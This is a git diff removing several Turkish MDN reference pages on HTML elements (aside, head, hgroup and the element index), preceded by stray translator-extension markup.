id="bubblelogo"> </div> - -<table id="SL_tables"> - <tbody> - <tr> - <td class="SL_td"><input></td> - <td class="SL_td"><select><option value="auto">Detect language</option><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td> - <td class="SL_td"> - <div id="SL_switch_b" title="Switch languages"> </div> - </td> - <td class="SL_td"><select><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td> - <td class="SL_td"> </td> - <td class="SL_td"> - <div id="SL_TTS_voice" title="Listen to the translation"> </div> - </td> - <td class="SL_td"> - <div class="SL_copy" id="SL_copy" title="Copy translation"> </div> - </td> - <td class="SL_td"> - <div id="SL_bbl_font_patch"> </div> - - <div class="SL_bbl_font" id="SL_bbl_font" title="Font size"> </div> - </td> - <td class="SL_td"> - <div id="SL_TH" title="Translation history"> </div> - </td> - <td class="SL_td"> </td> - <td class="SL_td"> - <div id="SL_pin" title="Pin pup-up bubble"> </div> - </td> - </tr> - </tbody> -</table> -</div> -</div> - -<div id="SL_shadow_translation_result" style="background: rgb(255, 255, 255);"> </div> - -<div id="SL_player2"> </div> - -<div id="SL_alert100">Text-to-speech function is limited to 100 characters</div> - -<div id="SL_bbl_donate" title="Make a small contribution"> </div> - -<div id="SL_Balloon_options" style="background: rgb(255, 255, 255);"><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation history">History</a> : <a class="SL_options" href="http://about.imtranslator.net/add-ons/chrome-extension/" title="ImTranslator Help">Help</a> : <a class="SL_options" title="Feedback">Feedback</a></div> -</div> -</div> diff --git a/files/tr/web/guide/index.html b/files/tr/web/guide/index.html deleted file mode 100644 index ca1aeaaa1c..0000000000 --- a/files/tr/web/guide/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Geliştirici kılavuzları -slug: Web/Guide -tags: - - Guide - - Landing - - NeedsTranslation - - TopicStub - - Web -translation_of: Web/Guide ---- -<p><font><font>Bu makaleler belirli teknolojileri ve API'ler faydalanmak nasıl yapılır yardımına bilgi sağlarlar.</font></font></p> - -<div class="note"> -<p><strong><font><font>Not:</font></font></strong><font><font> Bu sayfa, içeriği göç tamamlayana kadar bir süre için bir karışıklık olacak. </font><font>Özürlerimizi!</font></font></p> -</div> - -<div><font><font><font><font>{{LandingPageListSubpages}}</font></font></font></font></div> - -<dl> - <dt><a href="/en-US/docs/JavaScript" title="/ Tr-TR / docs / JavaScript"><font><font><font><font>JavaScript</font></font></font></font></a></dt> - <dd><font><font>JavaScript Web için uygulamalar oluşturmak için kullanılan güçlü bir betik dilidir.</font></font></dd> -</dl> - -<h2 id="Ayrıca_bakınız"><font><font>Ayrıca bakınız</font></font></h2> - -<ul> - <li><a href="/en-US/docs/Web/Reference" title="/ Tr-TR / docs / Web / Referans"><font><font>Web Geliştirici Başvurusu</font></font></a></li> -</ul> diff --git a/files/tr/web/html/element/aside/index.html b/files/tr/web/html/element/aside/index.html deleted file mode 100644 index 0086628d72..0000000000 --- a/files/tr/web/html/element/aside/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: <aside> -slug: Web/HTML/Element/aside -tags: - - HTML Elementleri - - aside - - aside elementi -translation_of: Web/HTML/Element/aside -original_slug: HTML/Element/aside ---- -<p><strong>HTML <code><aside></code> elementi </strong>bir belgenin ana içeriğiyle yüzeysel bir bağ taşıyan bölümünü temsil eder.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories">İçerik kategorileri</a></th> - <td><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Akış içeriği</a>, bölümlenmiş içerik, belirlenmiş içerik.</td> - </tr> - <tr> - <th scope="row">Kullanılabilir içerik</th> - <td><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Akış içeriği</a>.</td> - </tr> - <tr> - <th scope="row">Etiket İhmalleri</th> - <td>Hiçbiri.</td> - </tr> - <tr> - <th scope="row">Kullanılabilir Üst Elementler</th> - <td><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Akış içeriği</a>ni kabul eden herhangi bir element. Ancak <aside> elementi, {{HTMLElement("address")}} elementinin alt elementi olarak kullanılamaz.</td> - </tr> - <tr> - <th scope="row">Kullanılabilir ARIA</th> - <td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td> - </tr> - <tr> - <th scope="row">DOM arayüzü</th> - <td>{{domxref("HTMLElement")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Öznitelikler">Öznitelikler</h2> - -<p>Bu element yalnızca <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes">evrensel öznitelikler</a>i içerir.</p> - -<h2 id="Kullanım_Notları">Kullanım Notları</h2> - -<ul> - <li><code><aside></code> elementini parantez içine alınmış metinler için kullanmayınız. Çünkü bu tip metinler ana akış içerisinde sayılmaktadır.</li> -</ul> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: html"><article> - <p> - Disney yapımı olan <em>Küçük Deniz Kızı</em> filmi ilk kez 1989'da vizyona girdi. - </p> - <aside> - <p> - Film ilk çıkışında 87 milyon dolar hasılat yapmayı başardı. - </p> - </aside> - <p> - Film hakkında daha fazla bilgi için... - </p> -</article></pre> - -<p>{{EmbedLiveSample("Examples")}}</p> - -<h2 id="Specifications" name="Specifications">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'semantics.html#the-aside-element', '<aside>')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '<aside>')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>5</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("2.0")}}</td> - <td>9.0</td> - <td>11.10</td> - <td>4.1</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>2.2</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("2.0")}}</td> - <td>9.0</td> - <td>11.0</td> - <td>4.2</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>Bölümle ilişkili diğer elementler: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li> - <li><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Bir HTML5 belgesinin bölümleri ve anahatları</a>.</li> -</ul> - -<div>{{HTMLRef}}</div> diff --git a/files/tr/web/html/element/head/index.html b/files/tr/web/html/element/head/index.html deleted file mode 100644 index 3d793f9e9f..0000000000 --- a/files/tr/web/html/element/head/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: '<head>: The Document Metadata (Header) element' -slug: Web/HTML/Element/head -tags: - - Element - - HTML - - HTML üst veri içeriği - - HTML üst verisi - - Referans - - Web -translation_of: Web/HTML/Element/head -original_slug: HTML/Element/head ---- -<div>{{HTMLRef}}</div> - -<p><span class="seoSummary"><strong>HTML <code><head></code> elementi</strong>, <a href="/en-US/docs/Web/HTML/Element/title">başlık</a>, <a href="/en-US/docs/Web/HTML/Element/script">betikler </a>ve <a href="/en-US/docs/Web/HTML/Element/style">biçem sayfaları</a> gibi, bir belge hakkında makine tarafından okunabilen bilgiler ({{glossary("metadata")}}) içerir.</span></p> - -<div class="blockIndicator note"> -<p><strong>Not:</strong> <code><head></code> elementi, bir insan tarafından okunması beklenen bilgilerden ziyade, genellikle bir makine tarafından işlenmesi öngörülen bilgiler içerir. Başlık ya da yazar bilgisi gibi insanlar tarafından okunması beklenen bilgiler için {{HTMLElement("header")}} elementine bakınız.</p> -</div> - -<table class="properties"> - <tbody> - <tr> - <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">İçerik kategorileri</a></th> - <td>Yok</td> - </tr> - <tr> - <th scope="row">İzin verilen içerik</th> - <td> - <p>Eğer belge, {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} belgesiyse, veya başlık bilgisi üst bir protokolden geliyorsa (örn. HTML e-postalarındaki konu satırı), sıfır veya daha fazla <span class="seoSummary">{{glossary("metadata", "üst veri")}}</span>.</p> - - <p>Aksi takdirde, en az bir tanesi {{HTMLElement("title")}} elementi olacak şekilde bir veya daha fazla <span class="seoSummary">{{glossary("metadata", "üst veri")}}</span>.</p> - </td> - </tr> - <tr> - <th scope="row">Atlanabilir etiketler</th> - <td> - <p><code><head></code> elementinin içindeki ilk öğe de bir elementse, başlangıç etiketi atlanabilir.</p> - - <p><code><head></code> elementinin ardından gelen ilk öğe boşluk veya yorum değilse, bitiş etiketi atlanabilir.</p> - </td> - </tr> - <tr> - <th scope="row">Kullanılabilir üst elementler</th> - <td> - <p>İlk alt elementi olacak şekilde {{HTMLElement("html")}} elementi.</p> - </td> - </tr> - <tr> - <th scope="row">Dolaylı ARIA rolü</th> - <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Bulunmamaktadır.</a></td> - </tr> - <tr> - <th scope="row">İzin verilen ARIA rolleri</th> - <td>İzin verilen <code>role</code> bulunmamaktadır.</td> - </tr> - <tr> - <th scope="row">DOM arayüzü</th> - <td>{{domxref("HTMLHeadElement")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Öznitelikler">Öznitelikler</h2> - -<p>Bu element <a href="/en-US/docs/Web/HTML/Global_attributes">evrensel öznitelikler</a> içerir.</p> - -<dl> - <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt> - <dd>{{Glossary("whitespace", "Boşluk")}}la ayrılmış şekilde bir veya birden fazla üst veri profilinin {{glossary("URI")}}'si.</dd> -</dl> - -<h2 id="Örnek">Örnek</h2> - -<pre class="brush: html notranslate"><!doctype html> -<html> - <head> - <title>Belge başlığı</title> - </head> -</html> -</pre> - -<h2 id="Notlar">Notlar</h2> - -<p>HTML5 uyumlu tarayıcılar, <code><head></code> elementinin etiketleri atlanmışsa, söz konusu elementi otomatik olarak oluşturmaktadır. Çok eski tarayıcılarda bu özelliğin garantisi yoktur.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Son anlık görüntüden beri değişiklik olmadı.</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>Obsoleted <code>profile</code></td> - </tr> - <tr> - <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '<head>')}}</td> - <td>{{Spec2('HTML4.01')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("html.elements.head")}}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li> <code><head></code>'in içinde kullanılabilecek etiketler: - - <ul> - <li>{{HTMLElement("title")}}</li> - <li>{{HTMLElement("base")}}</li> - <li>{{HTMLElement("link")}}</li> - <li>{{HTMLElement("style")}}</li> - <li>{{HTMLElement("meta")}}</li> - <li>{{HTMLElement("script")}}</li> - <li>{{HTMLElement("noscript")}}</li> - <li>{{HTMLElement("template")}}</li> - </ul> - </li> -</ul> diff --git a/files/tr/web/html/element/hgroup/index.html b/files/tr/web/html/element/hgroup/index.html deleted file mode 100644 index f9a97e327d..0000000000 --- a/files/tr/web/html/element/hgroup/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: <hgroup> -slug: Web/HTML/Element/hgroup -translation_of: Web/HTML/Element/hgroup -original_slug: HTML/Element/hgroup ---- -<div>{{HTMLRef}}</div> - -<p><strong>HTML <code><hgroup></code> elementi,</strong> belgenin bir bölümü için çok düzeyli bir başlığı temsil eder. Bu gruplar bir dizi <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1>–<h6></a></code> elementleri içerir.</p> - -<div>{{EmbedInteractiveExample("pages/tabbed/hgroup.html", "tabbed-standard")}}</div> - - - -<table class="properties"> - <tbody> - <tr> - <th scope="row"><a dir="ltr" href="/en-US/docs/HTML/Content_categories">İçerik Kategorileri</a></th> - <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Akış içeriği</a>, başlık içeriği, somut içerik.</td> - </tr> - <tr> - <th scope="row">İzin verilen içerik</th> - <td>One or more {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, and/or {{HTMLElement("h6")}}.</td> - </tr> - <tr> - <th scope="row">Etiket Eksikliği</th> - <td>{{no_tag_omission}}</td> - </tr> - <tr> - <th scope="row">İzin verilen ebeveynler</th> - <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Akış içeriğini</a> kabul eden herhangi bir öğe.</td> - </tr> - <tr> - <th scope="row">İzin verilen ARIA rolleri</th> - <td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td> - </tr> - <tr> - <th scope="row">DOM arayüzü</th> - <td>{{domxref("HTMLElement")}}</td> - </tr> - </tbody> -</table> - -<h2 id="Attributes_Öznitelikler">Attributes (Öznitelikler)</h2> - -<p>Bu öğe yalnızca <a href="/en-US/docs/HTML/Global_attributes">genel öznitelikleri</a> içerir.</p> - -<h2 id="Kullanım_notları">Kullanım notları</h2> - -<div class="note"> -<p><code><hgroup></code> elementi HTML5 (W3C) şartnamesinden kaldırıldı, ama bu element hala HTML'in WHATWG versiyonunda mevcut. Çoğu tarayıcıda kısmen uygulanmaktadır, bu yüzden tamamen kaldırılması pek olası değildir.<br> - Bununla birlikte, <code><hgroup></code> öğesinin temel amacının, <a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#The_HTML5_outline_algorithm">HTML şartnamesinde tanımlanan anahat algoritması</a> tarafından başlıkların nasıl görüntüleneceğini etkilemesi, ancak <strong>HTML anahat algoritması herhangi bir tarayıcıda uygulanmadığı göz önüne alındığında</strong>, <code><hgroup></code> semantiği (anlamsalı) pratikte yalnızca teorik olarak geçerlidir.<br> - Bu nedenle HTML5 (W3C) şartnamesi, <code><hgroup></code>kullanmadan; <a href="https://www.w3.org/TR/html52/common-idioms-without-dedicated-elements.html#common-idioms-without-dedicated-elements">alt başlıkların, altyazıların, alternatif başlıkların ve sloganların</a> nasıl işaretleneceği konusunda tavsiyelerde bulunur.</p> -</div> - -<p><code><hgroup></code> öğesi, belgenin bir bölümü için; birincil başlığının, çok düzeyli bir başlık oluşturmak için, alt başlıklar veya alternatif başlıklar gibi ikincil başlıklarla gruplandırılmasına izin verir.</p> - -<p>Başka bir deyişle, <code><hgroup></code> öğesi, ikincil <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1>–<h6></a></code> alt öğelerinin, <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1>–<h6></a></code> öğelerinin normalin aksine herhangi bir <code><hgroup></code> alt öğesi değilse, anahatta kendi ayrı bölümlerini oluşturmasını engeller.</p> - -<p>Yani, <a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines#The_HTML5_outline_algorithm">HTML şartnamesinde tanımlanan HTML anahat algoritması</a> tarafından üretilen soyut anahatta, tüm <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1>–<h6></a></code> kümesiyle birlikte, bir bütün olarak tek bir mantıksal <code><hgroup></code> başlığı oluşturur ve özet anahattaki tek mantıksal başlığı oluşturmak için anahat içine bir çok düzeyli birim olarak girer.</p> - -<p>Böyle bir taslağın herhangi bir (soyut olmayan) işlenmiş görünümünü üretmek için, oluşturma aracının tasarımında <code><hgroup></code> başlıklarının çok düzeyli doğalarını iletecek şekilde nasıl işleneceği konusunda bir seçim yapılmalıdır. İşlenmiş bir <code><hgroup></code> anahat gösteriminin çeşitli yolları vardır. Örneğin:</p> - -<ul> - <li>Bir <code><hgroup></code>, iki nokta üst üste karakteri ve boşluk ile (“<code>: </code>”) veya birincil başlıktan sonra ve ilk ikincil başlıktan önce (ve diğer ikincil başlıklardan önce aynı veya benzer noktalama işaretleriyle) işlenen bir anahatta gösterilebilir.</li> - <li>Bir <code><hgroup></code>, birincil başlık ve ardından ikincil başlık(lar) etrafında parantezler ile işlenmiş bir anahatta gösterilebilir.<br> - </li> -</ul> - -<p>Aşağıdaki HTML belgesini düşünün:</p> - -<pre class="brush: html"><!DOCTYPE html> -<title>HTML Standard</title> -<body> - <hgroup id="document-title"> - <h1>HTML</h1> - <h2>Living Standard — Last Updated 12 August 2016</h2> - </hgroup> - <p>Some intro to the document.</p> - <h2>Table of contents</h2> - <ol id=toc>...</ol> - <h2>First section</h2> - <p>Some intro to the first section.</p> -</body></pre> - -<p>Bu belge için işlenmiş bir anahat aşağıdaki gibi görünebilir:<br> - <br> - <img alt="" src="https://mdn.mozillademos.org/files/14599/outline-colon.png" style="height: 99px; width: 450px;"></p> - -<p>Yani, işlenen anahat birincil başlık; HTML, ve ardından iki nokta üst üste ve boşluk. Ve ardından ikincil başlık, <em>Living Standard — Last Updated 12 August 2016</em> gösterebilir.</p> - -<p>Veya, bu belge için işlenen anahat bunun yerine aşağıdaki gibi görünebilir:<br> - <br> - <img alt="Rendered outline that includes an <hgroup> element, with parens around the secondary heading" src="https://mdn.mozillademos.org/files/14601/outline-paren.png" style="height: 106px; width: 450px;"></p> - -<p>Yani, işlenen anahat birincil başlığı, HTML'yi ve ardından parantez içinde gösterilen ikincil Başlığı gösterebilir: <em>(Living Standard — Last Updated 12 August 2016)</em>.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: html"><hgroup id="document-title"> - <h1>HTML</h1> - <h2>Living Standard — Last Updated 12 August 2016</h2> -</hgroup> -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hgroup-element', '<hgroup>')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - - - -<p>{{Compat("html.elements.hgroup")}}</p> - -<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> - -<ul> - <li>Diğer bölümle ilgili öğeler: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li> - <li><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Bir HTML5 belgesinin bölümleri ve ana hatları.</a></li> -</ul> diff --git a/files/tr/web/html/element/index.html b/files/tr/web/html/element/index.html deleted file mode 100644 index 458c8537ce..0000000000 --- a/files/tr/web/html/element/index.html +++ /dev/null @@ -1,242 +0,0 @@ ---- -title: HTML Elements -slug: Web/HTML/Element -tags: - - HTML - - HTML:Element Reference - - NeedsTranslation - - TopicStub -translation_of: Web/HTML/Element -original_slug: HTML/Element ---- -<p>Bu HTML başvurusu, HTML5'te veya daha önceki bir şartnamede tanımlanan tüm <strong>HTML öğelerini</strong> listeler. Küçük ve büyük ayraçları içine alındığında bu bir etiketi oluşturur: <code><etiketadı></code>. Etiketler, HTML belgelerinin nasıl oluşturulması gerektiğini ve bir <a href="/tr/docs//HTML">HTML</a> belgesinin hangi bölümüne hangi içeriğin yerleştirileceğini belirten öğelerdir.</p> - -<p>Bu sayfada tüm standart <a href="/tr/docs/HTML/HTML5">HTML5</a> etiketlerinin yanısıra, tarayıcıların destekleyebileceği standart olmayanların yanı sıra daha eski ve kullanımdan kaldırılmış olanlar da listelenmektedir. Diğer standart öğeler HTML5'te de geçerli olmasına rağmen, HTML5'te tanıtılan öğelere genellikle yeni HTML5 öğeleri denir.</p> - -<p>Bir HTML belgesinde, bir öğe bir <em>başlangıç etiketi</em> tarafından tanımlanır. Etiket başka içerikler içeriyorsa, etiketin adının önünde bir eğik çizgi: <code></etiketadı></code> ile biten bir <em>kapanış etiketi</em> ile biter. Bazı etiketlerin kapatılması gerekmez resim etiketleri gibi . HTML belgeleri, bu öğelerin bir hiyerarşik yapısını içerir. Her birinin yaptığı şeyi temsil etmek için adı verilmektedir. Örneğin, <code><title></code> etiketi belgenin başlığını temsil eder. Altta HTML Elemanları alfabetik listesi bulunmaktadır.</p> - -<p><a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a> Sembolü, etiketin HTML5 ile eklendiğini gösterir. Burada listelenen diğer etiketlerin HTML5 belirtimi tarafından değiştirilmiş veya genişletilmiş olabileceğini unutmayın. Solgun renkli etiketler standart dışı, eskidir veya kullanımdan kaldırılmıştır; yeni Web sitelerinde kullanılmamalı ve aşamalı olarak mevcut web sitelerinden kaldırılmalıdır.</p> - -<p> </p> - -<div class="index widgeted"><span id="A">A</span> - -<ul> - <li>{{ HTMLElement("a") }}</li> - <li>{{ HTMLElement("abbr") }}</li> - <li><s class="obsoleteElement">{{ HTMLElement("acronym") }}</s></li> - <li>{{ HTMLElement("address") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("applet") }}</s></li> - <li>{{ HTMLElement("area") }}</li> - <li class="html5">{{ HTMLElement("article") }}</li> - <li class="html5">{{ HTMLElement("aside") }}</li> - <li class="html5">{{ HTMLElement("audio") }}</li> -</ul> -<span id="B">B</span> - -<ul> - <li>{{ HTMLElement("b") }}</li> - <li>{{ HTMLElement("base") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("basefont") }}</s></li> - <li class="html5">{{ HTMLElement("bdi") }}</li> - <li>{{ HTMLElement("bdo") }}</li> - <li><s class="nonStdElement">{{ HTMLElement("bgsound") }}</s></li> - <li><s class="obsoleteElement">{{ HTMLElement("big") }}</s></li> - <li><s class="nonStdElement">{{ HTMLElement("blink") }}</s></li> - <li>{{ HTMLElement("blockquote") }}</li> - <li>{{ HTMLElement("body") }}</li> - <li>{{ HTMLElement("br") }}</li> - <li>{{ HTMLElement("button") }}</li> -</ul> -<span id="C">C</span> - -<ul> - <li class="html5">{{ HTMLElement("canvas") }}</li> - <li>{{ HTMLElement("caption") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("center") }}</s></li> - <li>{{ HTMLElement("cite") }}</li> - <li>{{ HTMLElement("code") }}</li> - <li>{{ HTMLElement("col") }}</li> - <li>{{ HTMLElement("colgroup") }}</li> - <li class="html5">{{ HTMLElement("command") }}</li> -</ul> -<span id="D">D</span> - -<ul> - <li class="html5">{{ HTMLElement("data") }}</li> - <li class="html5">{{ HTMLElement("datalist") }}</li> - <li>{{ HTMLElement("dd") }}</li> - <li>{{ HTMLElement("del") }}</li> - <li>{{ HTMLElement("details") }}</li> - <li>{{ HTMLElement("dfn") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("dir") }}</s></li> - <li>{{ HTMLElement("div") }}</li> - <li>{{ HTMLElement("dl") }}</li> - <li>{{ HTMLElement("dt") }}</li> -</ul> -<span id="E">E</span> - -<ul> - <li>{{ HTMLElement("em") }}</li> - <li class="html5">{{ HTMLElement("embed") }}</li> -</ul> -<span id="F">F</span> - -<ul> - <li>{{ HTMLElement("fieldset") }}</li> - <li>{{ HTMLElement("figcaption") }}</li> - <li class="html5">{{ HTMLElement("figure") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("font") }}</s></li> - <li class="html5">{{ HTMLElement("footer") }}</li> - <li>{{ HTMLElement("form") }}</li> - <li><s class="obsoleteElement">{{ HTMLElement("frame") }}</s></li> - <li><s class="obsoleteElement">{{ HTMLElement("frameset") }}</s></li> -</ul> -<span id="G">G H</span> - -<ul> - <li>{{ HTMLElement("h1") }}</li> - <li>{{ HTMLElement("h2") }}</li> - <li>{{ HTMLElement("h3") }}</li> - <li>{{ HTMLElement("h4") }}</li> - <li>{{ HTMLElement("h5") }}</li> - <li>{{ HTMLElement("h6") }}</li> - <li>{{ HTMLElement("head") }}</li> - <li class="html5">{{ HTMLElement("header") }}</li> - <li class="html5">{{ HTMLElement("hgroup") }}</li> - 